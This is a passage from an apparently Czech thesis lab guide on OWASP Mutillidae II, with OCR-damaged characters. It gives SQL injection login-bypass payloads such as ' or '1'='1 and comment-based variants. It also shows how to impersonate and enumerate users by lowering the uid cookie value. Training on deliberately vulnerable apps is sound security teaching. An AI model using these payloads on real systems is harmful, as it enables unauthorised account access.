Model zneuziti zvolte ,OWASP 2013“ -> , Al - Injection (SQL)* ->
»SQLi - Bypass Authentication® -> ,,Login®.

Nejprve napiste do textového pole uzivatelského jména jednoduchou uvozovku
> a potvrdte tlac¢itkem Login. Uvozovka by méla donutit webovou aplikaci
k zobrazeni vyjimky, coz indikuje jeji zranitelnost proti utoku SQL injection.
Prohlédnéte si z chybového hlaseni vami vyplnény a poslany typ dotazu (query)
webovému serveru.

Mezi nejjednodussi zpusob tispésného prihlaseni pomoci SQL injection je spl-
néni podminky. Pfedpokladejme, Ze nevime uzivatelské jméno ani heslo. Za-
dejte do textového pole uzivatelského jména ’ or ’1°="1, heslo vyplite stejné
a zkuste se prihlasit. Budeme prihlaseni jako prvni uzivatel, ktery je uveden
v databazi, coz je ve vétsiné pripadech admin. Autentizace probéhla tspésneé,
protoze podminka 1=1 je vzdy pravdiva.

Dalsim ze zpusobt je pouziti znaki, oznacujici v jazyce SQL komentar. Za-
dejte do textového pole uzivatelského jména ’ or ’1°=’1" # a zkuste se
prihlasit. Autentizace probéhne opét Uspésné, protoze vse za znakem # je
zakomentovano, tedy i prihlasovaci heslo.

V pripadé, ze bychom védéli uzivatelska jména, ale nikoliv patii¢na hesla,
postaci zadat pozadované uzivatelské jméno a pouzit komentar pro zbytek
dotazu. Predpokladejme, zZe vime o registrovaném uzivateli user. Zadejte do
textového pole uzivatelského jména wuser’ # a zkuste se prihlasit. Budeme

prihlaseni jako uzivatel user.

Kliknéte na polozku v hornim menu Login/Register a provedte registraci
s libovolnymi daji. Nyni opét kliknéte na polozku Login/Register, stisknéte
Alt pro zobrazeni menu webového prohlizece a zvolte volbu Ndstroje/Cookies

Manager+. Oznacte vSechny zaznamenané cookies a vymazte je.
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« Prihlaste se do webové aplikace pod registrovanymi idaji a podivejte se, jaké
cookies probihajici relace zachytil doplnék Cookies Manager+. Vénujte pozor-
nost cookie uid, ktery oznacuje identifikacni ¢islo a poradi uzivatele v databazi.

e Stejnym postupem zaregistrujte nového uzivatele a prohlédnéte si i jeho co-
okies po prihladseni. U cookie wid kliknéte na Fdit a zménte hodnotu Obsah
o 1 mensi a potvrdte tlacitkem Save. Nyni, stisknutim tlac¢itka F5, byste méli
byt v pravém hornim rohu webové aplikace prihlaseni jako predchozi uziva-
tel, kterého jste zaregistrovali. Pfi nedostatecné ochrané autentizace miizete
byt timto zpusobem prihlaseni jako kterykoliv uzivatel registrovany v data-
bazi. Postupnym zmensovanim parametru uid, zkuste zjistit vSechny uzivatele
webové aplikace OWASP Mutillidae I1.
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C OBSAH PRILOZENEHO CD

o Elektronicka verze prace
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